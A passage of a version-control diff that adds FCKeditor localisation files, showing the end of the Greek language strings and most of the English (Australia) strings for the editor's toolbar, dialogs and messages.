+DlgImgAlignAbsBottom: "Απόλυτα Κάτω (Abs Bottom)",
+DlgImgAlignAbsMiddle: "Απόλυτα στη Μέση (Abs Middle)",
+DlgImgAlignBaseline	: "Γραμμή Βάσης (Baseline)",
+DlgImgAlignBottom	: "Κάτω (Bottom)",
+DlgImgAlignMiddle	: "Μέση (Middle)",
+DlgImgAlignRight	: "Δεξιά (Right)",
+DlgImgAlignTextTop	: "Κορυφή Κειμένου (Text Top)",
+DlgImgAlignTop		: "Πάνω (Top)",
+DlgImgPreview		: "Προεπισκόπιση",
+DlgImgAlertUrl		: "Εισάγετε την τοποθεσία (URL) της εικόνας",
+DlgImgLinkTab		: "Σύνδεσμος",
+
+// Flash Dialog
+DlgFlashTitle		: "Ιδιότητες flash",
+DlgFlashChkPlay		: "Αυτόματη έναρξη",
+DlgFlashChkLoop		: "Επανάληψη",
+DlgFlashChkMenu		: "Ενεργοποίηση Flash Menu",
+DlgFlashScale		: "Κλίμακα",
+DlgFlashScaleAll	: "Εμφάνιση όλων",
+DlgFlashScaleNoBorder	: "Χωρίς όρια",
+DlgFlashScaleFit	: "Ακριβής εφαρμογή",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Σύνδεσμος (Link)",
+DlgLnkInfoTab		: "Link",
+DlgLnkTargetTab		: "Παράθυρο Στόχος (Target)",
+
+DlgLnkType			: "Τύπος συνδέσμου (Link)",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Άγκυρα σε αυτή τη σελίδα",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Προτόκολο",
+DlgLnkProtoOther	: "<άλλο>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Επιλέξτε μια άγκυρα",
+DlgLnkAnchorByName	: "Βάσει του Ονόματος (Name) της άγκυρας",
+DlgLnkAnchorById	: "Βάσει του Element Id",
+DlgLnkNoAnchors		: "<Δεν υπάρχουν άγκυρες στο κείμενο>",
+DlgLnkEMail			: "Διεύθυνση Ηλεκτρονικού Ταχυδρομείου",
+DlgLnkEMailSubject	: "Θέμα Μηνύματος",
+DlgLnkEMailBody		: "Κείμενο Μηνύματος",
+DlgLnkUpload		: "Αποστολή",
+DlgLnkBtnUpload		: "Αποστολή στον Διακομιστή",
+
+DlgLnkTarget		: "Παράθυρο Στόχος (Target)",
+DlgLnkTargetFrame	: "<πλαίσιο>",
+DlgLnkTargetPopup	: "<παράθυρο popup>",
+DlgLnkTargetBlank	: "Νέο Παράθυρο (_blank)",
+DlgLnkTargetParent	: "Γονικό Παράθυρο (_parent)",
+DlgLnkTargetSelf	: "Ίδιο Παράθυρο (_self)",
+DlgLnkTargetTop		: "Ανώτατο Παράθυρο (_top)",
+DlgLnkTargetFrameName	: "Όνομα πλαισίου στόχου",
+DlgLnkPopWinName	: "Όνομα Popup Window",
+DlgLnkPopWinFeat	: "Επιλογές Popup Window",
+DlgLnkPopResize		: "Με αλλαγή Μεγέθους",
+DlgLnkPopLocation	: "Μπάρα Τοποθεσίας",
+DlgLnkPopMenu		: "Μπάρα Menu",
+DlgLnkPopScroll		: "Μπάρες Κύλισης",
+DlgLnkPopStatus		: "Μπάρα Status",
+DlgLnkPopToolbar	: "Μπάρα Εργαλείων",
+DlgLnkPopFullScrn	: "Ολόκληρη η Οθόνη (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Πλάτος",
+DlgLnkPopHeight		: "Ύψος",
+DlgLnkPopLeft		: "Τοποθεσία Αριστερής Άκρης",
+DlgLnkPopTop		: "Τοποθεσία Πάνω Άκρης",
+
+DlnLnkMsgNoUrl		: "Εισάγετε την τοποθεσία (URL) του υπερσυνδέσμου (Link)",
+DlnLnkMsgNoEMail	: "Εισάγετε την διεύθυνση ηλεκτρονικού ταχυδρομείου",
+DlnLnkMsgNoAnchor	: "Επιλέξτε ένα Anchor",
+DlnLnkMsgInvPopName	: "Το όνομα του popup πρέπει να αρχίζει με χαρακτήρα της αλφαβήτου και να μην περιέχει κενά",
+
+// Color Dialog
+DlgColorTitle		: "Επιλογή χρώματος",
+DlgColorBtnClear	: "Καθαρισμός",
+DlgColorHighlight	: "Προεπισκόπιση",
+DlgColorSelected	: "Επιλεγμένο",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Επιλέξτε ένα Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Επιλέξτε ένα Ειδικό Σύμβολο",
+
+// Table Dialog
+DlgTableTitle		: "Ιδιότητες Πίνακα",
+DlgTableRows		: "Γραμμές",
+DlgTableColumns		: "Κολώνες",
+DlgTableBorder		: "Μέγεθος Περιθωρίου",
+DlgTableAlign		: "Στοίχιση",
+DlgTableAlignNotSet	: "<χωρίς>",
+DlgTableAlignLeft	: "Αριστερά",
+DlgTableAlignCenter	: "Κέντρο",
+DlgTableAlignRight	: "Δεξιά",
+DlgTableWidth		: "Πλάτος",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "\%",
+DlgTableHeight		: "Ύψος",
+DlgTableCellSpace	: "Απόσταση κελιών",
+DlgTableCellPad		: "Γέμισμα κελιών",
+DlgTableCaption		: "Υπέρτιτλος",
+DlgTableSummary		: "Περίληψη",
+
+// Table Cell Dialog
+DlgCellTitle		: "Ιδιότητες Κελιού",
+DlgCellWidth		: "Πλάτος",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "\%",
+DlgCellHeight		: "Ύψος",
+DlgCellWordWrap		: "Με αλλαγή γραμμής",
+DlgCellWordWrapNotSet	: "<χωρίς>",
+DlgCellWordWrapYes	: "Ναι",
+DlgCellWordWrapNo	: "Όχι",
+DlgCellHorAlign		: "Οριζόντια Στοίχιση",
+DlgCellHorAlignNotSet	: "<χωρίς>",
+DlgCellHorAlignLeft	: "Αριστερά",
+DlgCellHorAlignCenter	: "Κέντρο",
+DlgCellHorAlignRight: "Δεξιά",
+DlgCellVerAlign		: "Κάθετη Στοίχιση",
+DlgCellVerAlignNotSet	: "<χωρίς>",
+DlgCellVerAlignTop	: "Πάνω (Top)",
+DlgCellVerAlignMiddle	: "Μέση (Middle)",
+DlgCellVerAlignBottom	: "Κάτω (Bottom)",
+DlgCellVerAlignBaseline	: "Γραμμή Βάσης (Baseline)",
+DlgCellRowSpan		: "Αριθμός Γραμμών (Rows Span)",
+DlgCellCollSpan		: "Αριθμός Κολωνών (Columns Span)",
+DlgCellBackColor	: "Χρώμα Υποβάθρου",
+DlgCellBorderColor	: "Χρώμα Περιθωρίου",
+DlgCellBtnSelect	: "Επιλογή...",
+
+// Find Dialog
+DlgFindTitle		: "Αναζήτηση",
+DlgFindFindBtn		: "Αναζήτηση",
+DlgFindNotFoundMsg	: "Το κείμενο δεν βρέθηκε.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Αντικατάσταση",
+DlgReplaceFindLbl		: "Αναζήτηση:",
+DlgReplaceReplaceLbl	: "Αντικατάσταση με:",
+DlgReplaceCaseChk		: "Έλεγχος πεζών/κεφαλαίων",
+DlgReplaceReplaceBtn	: "Αντικατάσταση",
+DlgReplaceReplAllBtn	: "Αντικατάσταση Όλων",
+DlgReplaceWordChk		: "Εύρεση πλήρους λέξης",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Οι ρυθμίσεις ασφαλείας του φυλλομετρητή σας δεν επιτρέπουν την επιλεγμένη εργασία επικόλλησης. Χρησιμοποιείστε το πληκτρολόγιο (Ctrl+V).",
+PasteErrorCut	: "Οι ρυθμίσεις ασφαλείας του φυλλομετρητή σας δεν επιτρέπουν την επιλεγμένη εργασία αποκοπής. Χρησιμοποιείστε το πληκτρολόγιο (Ctrl+X).",
+PasteErrorCopy	: "Οι ρυθμίσεις ασφαλείας του φυλλομετρητή σας δεν επιτρέπουν την επιλεγμένη εργασία αντιγραφής. Χρησιμοποιείστε το πληκτρολόγιο (Ctrl+C).",
+
+PasteAsText		: "Επικόλληση ως Απλό Κείμενο",
+PasteFromWord	: "Επικόλληση από το Word",
+
+DlgPasteMsg2	: "Παρακαλώ επικολήστε στο ακόλουθο κουτί χρησιμοποιόντας το πληκτρολόγιο (<STRONG>Ctrl+V</STRONG>) και πατήστε <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Αγνόηση προδιαγραφών γραμματοσειράς",
+DlgPasteRemoveStyles	: "Αφαίρεση προδιαγραφών στύλ",
+DlgPasteCleanBox		: "Κουτί εκαθάρισης",
+
+// Color Picker
+ColorAutomatic	: "Αυτόματο",
+ColorMoreColors	: "Περισσότερα χρώματα...",
+
+// Document Properties
+DocProps		: "Ιδιότητες εγγράφου",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ιδιότητες άγκυρας",
+DlgAnchorName		: "Όνομα άγκυρας",
+DlgAnchorErrorName	: "Παρακαλούμε εισάγετε όνομα άγκυρας",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Δεν υπάρχει στο λεξικό",
+DlgSpellChangeTo		: "Αλλαγή σε",
+DlgSpellBtnIgnore		: "Αγνόηση",
+DlgSpellBtnIgnoreAll	: "Αγνόηση όλων",
+DlgSpellBtnReplace		: "Αντικατάσταση",
+DlgSpellBtnReplaceAll	: "Αντικατάσταση όλων",
+DlgSpellBtnUndo			: "Αναίρεση",
+DlgSpellNoSuggestions	: "- Δεν υπάρχουν προτάσεις -",
+DlgSpellProgress		: "Ορθογραφικός έλεγχος σε εξέλιξη...",
+DlgSpellNoMispell		: "Ο ορθογραφικός έλεγχος ολοκληρώθηκε: Δεν βρέθηκαν λάθη",
+DlgSpellNoChanges		: "Ο ορθογραφικός έλεγχος ολοκληρώθηκε: Δεν άλλαξαν λέξεις",
+DlgSpellOneChange		: "Ο ορθογραφικός έλεγχος ολοκληρώθηκε: Μια λέξη άλλαξε",
+DlgSpellManyChanges		: "Ο ορθογραφικός έλεγχος ολοκληρώθηκε: %1 λέξεις άλλαξαν",
+
+IeSpellDownload			: "Δεν υπάρχει εγκατεστημένος ορθογράφος. Θέλετε να τον κατεβάσετε τώρα;",
+
+// Button Dialog
+DlgButtonText		: "Κείμενο (Τιμή)",
+DlgButtonType		: "Τύπος",
+DlgButtonTypeBtn	: "Κουμπί",
+DlgButtonTypeSbm	: "Καταχώρηση",
+DlgButtonTypeRst	: "Επαναφορά",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Όνομα",
+DlgCheckboxValue	: "Τιμή",
+DlgCheckboxSelected	: "Επιλεγμένο",
+
+// Form Dialog
+DlgFormName		: "Όνομα",
+DlgFormAction	: "Δράση",
+DlgFormMethod	: "Μάθοδος",
+
+// Select Field Dialog
+DlgSelectName		: "Όνομα",
+DlgSelectValue		: "Τιμή",
+DlgSelectSize		: "Μέγεθος",
+DlgSelectLines		: "γραμμές",
+DlgSelectChkMulti	: "Πολλαπλές επιλογές",
+DlgSelectOpAvail	: "Διαθέσιμες επιλογές",
+DlgSelectOpText		: "Κείμενο",
+DlgSelectOpValue	: "Τιμή",
+DlgSelectBtnAdd		: "Προσθήκη",
+DlgSelectBtnModify	: "Αλλαγή",
+DlgSelectBtnUp		: "Πάνω",
+DlgSelectBtnDown	: "Κάτω",
+DlgSelectBtnSetValue : "Προεπιλεγμένη επιλογή",
+DlgSelectBtnDelete	: "Διαγραφή",
+
+// Textarea Dialog
+DlgTextareaName	: "Όνομα",
+DlgTextareaCols	: "Στήλες",
+DlgTextareaRows	: "Σειρές",
+
+// Text Field Dialog
+DlgTextName			: "Όνομα",
+DlgTextValue		: "Τιμή",
+DlgTextCharWidth	: "Μήκος χαρακτήρων",
+DlgTextMaxChars		: "Μέγιστοι χαρακτήρες",
+DlgTextType			: "Τύπος",
+DlgTextTypeText		: "Κείμενο",
+DlgTextTypePass		: "Κωδικός",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Όνομα",
+DlgHiddenValue	: "Τιμή",
+
+// Bulleted List Dialog
+BulletedListProp	: "Ιδιότητες λίστας Bulleted",
+NumberedListProp	: "Ιδιότητες αριθμημένης λίστας ",
+DlgLstStart			: "Αρχή",
+DlgLstType			: "Τύπος",
+DlgLstTypeCircle	: "Κύκλος",
+DlgLstTypeDisc		: "Δίσκος",
+DlgLstTypeSquare	: "Τετράγωνο",
+DlgLstTypeNumbers	: "Αριθμοί (1, 2, 3)",
+DlgLstTypeLCase		: "Πεζά γράμματα (a, b, c)",
+DlgLstTypeUCase		: "Κεφαλαία γράμματα (A, B, C)",
+DlgLstTypeSRoman	: "Μικρά λατινικά αριθμητικά (i, ii, iii)",
+DlgLstTypeLRoman	: "Μεγάλα λατινικά αριθμητικά (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Γενικά",
+DlgDocBackTab		: "Φόντο",
+DlgDocColorsTab		: "Χρώματα και περιθώρια",
+DlgDocMetaTab		: "Δεδομένα Meta",
+
+DlgDocPageTitle		: "Τίτλος σελίδας",
+DlgDocLangDir		: "Κατεύθυνση γραφής",
+DlgDocLangDirLTR	: "αριστερά προς δεξιά (LTR)",
+DlgDocLangDirRTL	: "δεξιά προς αριστερά (RTL)",
+DlgDocLangCode		: "Κωδικός γλώσσας",
+DlgDocCharSet		: "Κωδικοποίηση χαρακτήρων",
+DlgDocCharSetCE		: "Κεντρικής Ευρώπης",
+DlgDocCharSetCT		: "Παραδοσιακά κινέζικα (Big5)",
+DlgDocCharSetCR		: "Κυριλλική",
+DlgDocCharSetGR		: "Ελληνική",
+DlgDocCharSetJP		: "Ιαπωνική",
+DlgDocCharSetKR		: "Κορεάτικη",
+DlgDocCharSetTR		: "Τουρκική",
+DlgDocCharSetUN		: "Διεθνής (UTF-8)",
+DlgDocCharSetWE		: "Δυτικής Ευρώπης",
+DlgDocCharSetOther	: "Άλλη κωδικοποίηση χαρακτήρων",
+
+DlgDocDocType		: "Επικεφαλίδα τύπου εγγράφου",
+DlgDocDocTypeOther	: "Άλλη επικεφαλίδα τύπου εγγράφου",
+DlgDocIncXHTML		: "Να συμπεριληφθούν οι δηλώσεις XHTML",
+DlgDocBgColor		: "Χρώμα φόντου",
+DlgDocBgImage		: "Διεύθυνση εικόνας φόντου",
+DlgDocBgNoScroll	: "Φόντο χωρίς κύλιση",
+DlgDocCText			: "Κείμενο",
+DlgDocCLink			: "Σύνδεσμος",
+DlgDocCVisited		: "Σύνδεσμος που έχει επισκευθεί",
+DlgDocCActive		: "Ενεργός σύνδεσμος",
+DlgDocMargins		: "Περιθώρια σελίδας",
+DlgDocMaTop			: "Κορυφή",
+DlgDocMaLeft		: "Αριστερά",
+DlgDocMaRight		: "Δεξιά",
+DlgDocMaBottom		: "Κάτω",
+DlgDocMeIndex		: "Λέξεις κλειδιά δείκτες εγγράφου (διαχωρισμός με κόμμα)",
+DlgDocMeDescr		: "Περιγραφή εγγράφου",
+DlgDocMeAuthor		: "Συγγραφέας",
+DlgDocMeCopy		: "Πνευματικά δικαιώματα",
+DlgDocPreview		: "Προεπισκόπηση",
+
+// Templates Dialog
+Templates			: "Πρότυπα",
+DlgTemplatesTitle	: "Πρότυπα περιεχομένου",
+DlgTemplatesSelMsg	: "Παρακαλώ επιλέξτε πρότυπο για εισαγωγή στο πρόγραμμα<br>(τα υπάρχοντα περιεχόμενα θα χαθούν):",
+DlgTemplatesLoading	: "Φόρτωση καταλόγου προτύπων. Παρακαλώ περιμένετε...",
+DlgTemplatesNoTpl	: "(Δεν έχουν καθοριστεί πρότυπα)",
+DlgTemplatesReplace	: "Αντικατάσταση υπάρχοντων περιεχομένων",
+
+// About Dialog
+DlgAboutAboutTab	: "Σχετικά",
+DlgAboutBrowserInfoTab	: "Πληροφορίες Browser",
+DlgAboutLicenseTab	: "Άδεια",
+DlgAboutVersion		: "έκδοση",
+DlgAboutLicense		: "Άδεια χρήσης υπό τους όρους της GNU Lesser General Public License",
+DlgAboutInfo		: "Για περισσότερες πληροφορίες"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-au.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-au.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-au.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: en-au.js
+ * 	English (Australia) language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Christopher Dawes (fckeditor@dawes.id.au)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Collapse Toolbar",
+ToolbarExpand		: "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save				: "Save",
+NewPage				: "New Page",
+Preview				: "Preview",
+Cut					: "Cut",
+Copy				: "Copy",
+Paste				: "Paste",
+PasteText			: "Paste as plain text",
+PasteWord			: "Paste from Word",
+Print				: "Print",
+SelectAll			: "Select All",
+RemoveFormat		: "Remove Format",
+InsertLinkLbl		: "Link",
+InsertLink			: "Insert/Edit Link",
+RemoveLink			: "Remove Link",
+Anchor				: "Insert/Edit Anchor",
+InsertImageLbl		: "Image",
+InsertImage			: "Insert/Edit Image",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insert/Edit Flash",
+InsertTableLbl		: "Table",
+InsertTable			: "Insert/Edit Table",
+InsertLineLbl		: "Line",
+InsertLine			: "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar	: "Insert Special Character",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Insert Smiley",
+About				: "About FCKeditor",
+Bold				: "Bold",
+Italic				: "Italic",
+Underline			: "Underline",
+StrikeThrough		: "Strike Through",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Left Justify",
+CenterJustify		: "Centre Justify",
+RightJustify		: "Right Justify",
+BlockJustify		: "Block Justify",
+DecreaseIndent		: "Decrease Indent",
+IncreaseIndent		: "Increase Indent",
+Undo				: "Undo",
+Redo				: "Redo",
+NumberedListLbl		: "Numbered List",
+NumberedList		: "Insert/Remove Numbered List",
+BulletedListLbl		: "Bulleted List",
+BulletedList		: "Insert/Remove Bulleted List",
+ShowTableBorders	: "Show Table Borders",
+ShowDetails			: "Show Details",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Size",
+TextColor			: "Text Colour",
+BGColor				: "Background Colour",
+Source				: "Source",
+Find				: "Find",
+Replace				: "Replace",
+SpellCheck			: "Check Spelling",
+UniversalKeyboard	: "Universal Keyboard",
+PageBreakLbl		: "Page Break",
+PageBreak			: "Insert Page Break",
+
+Form			: "Form",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Hidden Field",
+Button			: "Button",
+SelectionField	: "Selection Field",
+ImageButton		: "Image Button",
+
+FitWindow		: "Maximize the editor size",
+
+// Context Menu
+EditLink			: "Edit Link",
+CellCM				: "Cell",
+RowCM				: "Row",
+ColumnCM			: "Column",
+InsertRow			: "Insert Row",
+DeleteRows			: "Delete Rows",
+InsertColumn		: "Insert Column",
+DeleteColumns		: "Delete Columns",
+InsertCell			: "Insert Cell",
+DeleteCells			: "Delete Cells",
+MergeCells			: "Merge Cells",
+SplitCell			: "Split Cell",
+TableDelete			: "Delete Table",
+CellProperties		: "Cell Properties",
+TableProperties		: "Table Properties",
+ImageProperties		: "Image Properties",
+FlashProperties		: "Flash Properties",
+
+AnchorProp			: "Anchor Properties",
+ButtonProp			: "Button Properties",
+CheckboxProp		: "Checkbox Properties",
+HiddenFieldProp		: "Hidden Field Properties",
+RadioButtonProp		: "Radio Button Properties",
+ImageButtonProp		: "Image Button Properties",
+TextFieldProp		: "Text Field Properties",
+SelectionFieldProp	: "Selection Field Properties",
+TextareaProp		: "Textarea Properties",
+FormProp			: "Form Properties",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processing XHTML. Please wait...",
+Done				: "Done",
+PasteWordConfirm	: "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste	: "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem	: "Unknown toolbar item \"%1\"",
+UnknownCommand		: "Unknown command name \"%1\"",
+NotImplemented		: "Command not implemented",
+UnknownToolbarSet	: "Toolbar set \"%1\" doesn't exist",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancel",
+DlgBtnClose			: "Close",
+DlgBtnBrowseServer	: "Browse Server",
+DlgAdvancedTag		: "Advanced",
+DlgOpOther			: "<Other>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<not set>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Language Direction",
+DlgGenLangDirLtr	: "Left to Right (LTR)",
+DlgGenLangDirRtl	: "Right to Left (RTL)",
+DlgGenLangCode		: "Language Code",
+DlgGenAccessKey		: "Access Key",
+DlgGenName			: "Name",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Long Description URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Image Properties",
+DlgImgInfoTab		: "Image Info",
+DlgImgBtnUpload		: "Send it to the Server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternative Text",
+DlgImgWidth			: "Width",
+DlgImgHeight		: "Height",
+DlgImgLockRatio		: "Lock Ratio",
+DlgBtnResetSize		: "Reset Size",
+DlgImgBorder		: "Border",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Align",
+DlgImgAlignLeft		: "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Bottom",
+DlgImgAlignMiddle	: "Middle",
+DlgImgAlignRight	: "Right",
+DlgImgAlignTextTop	: "Text Top",
+DlgImgAlignTop		: "Top",
+DlgImgPreview		: "Preview",
+DlgImgAlertUrl		: "Please type the image URL",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",
+DlgFlashChkPlay		: "Auto Play",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Enable Flash Menu",
+DlgFlashScale		: "Scale",
+DlgFlashScaleAll	: "Show all",
+DlgFlashScaleNoBorder	: "No Border",
+DlgFlashScaleFit	: "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Target",
+
+DlgLnkType			: "Link Type",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Link to anchor in the text",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<other>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Select an Anchor",
+DlgLnkAnchorByName	: "By Anchor Name",
+DlgLnkAnchorById	: "By Element Id",
+DlgLnkNoAnchors		: "<No anchors available in the document>",
+DlgLnkEMail			: "E-Mail Address",
+DlgLnkEMailSubject	: "Message Subject",
+DlgLnkEMailBody		: "Message Body",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Send it to the Server",
+
+DlgLnkTarget		: "Target",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<popup window>",
+DlgLnkTargetBlank	: "New Window (_blank)",
+DlgLnkTargetParent	: "Parent Window (_parent)",
+DlgLnkTargetSelf	: "Same Window (_self)",
+DlgLnkTargetTop		: "Topmost Window (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",
+DlgLnkPopWinName	: "Popup Window Name",
+DlgLnkPopWinFeat	: "Popup Window Features",
+DlgLnkPopResize		: "Resizable",
+DlgLnkPopLocation	: "Location Bar",
+DlgLnkPopMenu		: "Menu Bar",
+DlgLnkPopScroll		: "Scroll Bars",
+DlgLnkPopStatus		: "Status Bar",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Full Screen (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Width",
+DlgLnkPopHeight		: "Height",
+DlgLnkPopLeft		: "Left Position",
+DlgLnkPopTop		: "Top Position",
+
+DlnLnkMsgNoUrl		: "Please type the link URL",
+DlnLnkMsgNoEMail	: "Please type the e-mail address",
+DlnLnkMsgNoAnchor	: "Please select an anchor",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle		: "Select Colour",
+DlgColorBtnClear	: "Clear",
+DlgColorHighlight	: "Highlight",
+DlgColorSelected	: "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Select Special Character",
+
+// Table Dialog
+DlgTableTitle		: "Table Properties",
+DlgTableRows		: "Rows",
+DlgTableColumns		: "Columns",
+DlgTableBorder		: "Border size",
+DlgTableAlign		: "Alignment",
+DlgTableAlignNotSet	: "<Not set>",
+DlgTableAlignLeft	: "Left",
+DlgTableAlignCenter	: "Centre",
+DlgTableAlignRight	: "Right",
+DlgTableWidth		: "Width",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Height",
+DlgTableCellSpace	: "Cell spacing",
+DlgTableCellPad		: "Cell padding",
+DlgTableCaption		: "Caption",
+DlgTableSummary		: "Summary",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cell Properties",
+DlgCellWidth		: "Width",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Height",
+DlgCellWordWrap		: "Word Wrap",
+DlgCellWordWrapNotSet	: "<Not set>",
+DlgCellWordWrapYes	: "Yes",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Horizontal Alignment",
+DlgCellHorAlignNotSet	: "<Not set>",
+DlgCellHorAlignLeft	: "Left",
+DlgCellHorAlignCenter	: "Centre",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign		: "Vertical Alignment",
+DlgCellVerAlignNotSet	: "<Not set>",
+DlgCellVerAlignTop	: "Top",
+DlgCellVerAlignMiddle	: "Middle",
+DlgCellVerAlignBottom	: "Bottom",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Rows Span",
+DlgCellCollSpan		: "Columns Span",
+DlgCellBackColor	: "Background Colour",
+DlgCellBorderColor	: "Border Colour",
+DlgCellBtnSelect	: "Select...",
+
+// Find Dialog
+DlgFindTitle		: "Find",
+DlgFindFindBtn		: "Find",
+DlgFindNotFoundMsg	: "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Replace",
+DlgReplaceFindLbl		: "Find what:",
+DlgReplaceReplaceLbl	: "Replace with:",
+DlgReplaceCaseChk		: "Match case",
+DlgReplaceReplaceBtn	: "Replace",
+DlgReplaceReplAllBtn	: "Replace All",
+DlgReplaceWordChk		: "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut	: "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy	: "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText		: "Paste as Plain Text",
+PasteFromWord	: "Paste from Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",
+DlgPasteRemoveStyles	: "Remove Styles definitions",
+DlgPasteCleanBox		: "Clean Up Box",
+
+// Color Picker
+ColorAutomatic	: "Automatic",
+ColorMoreColors	: "More Colours...",
+
+// Document Properties
+DocProps		: "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",
+DlgAnchorName		: "Anchor Name",
+DlgAnchorErrorName	: "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",
+DlgSpellChangeTo		: "Change to",
+DlgSpellBtnIgnore		: "Ignore",
+DlgSpellBtnIgnoreAll	: "Ignore All",
+DlgSpellBtnReplace		: "Replace",
+DlgSpellBtnReplaceAll	: "Replace All",
+DlgSpellBtnUndo			: "Undo",
+DlgSpellNoSuggestions	: "- No suggestions -",
+DlgSpellProgress		: "Spell check in progress...",
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",
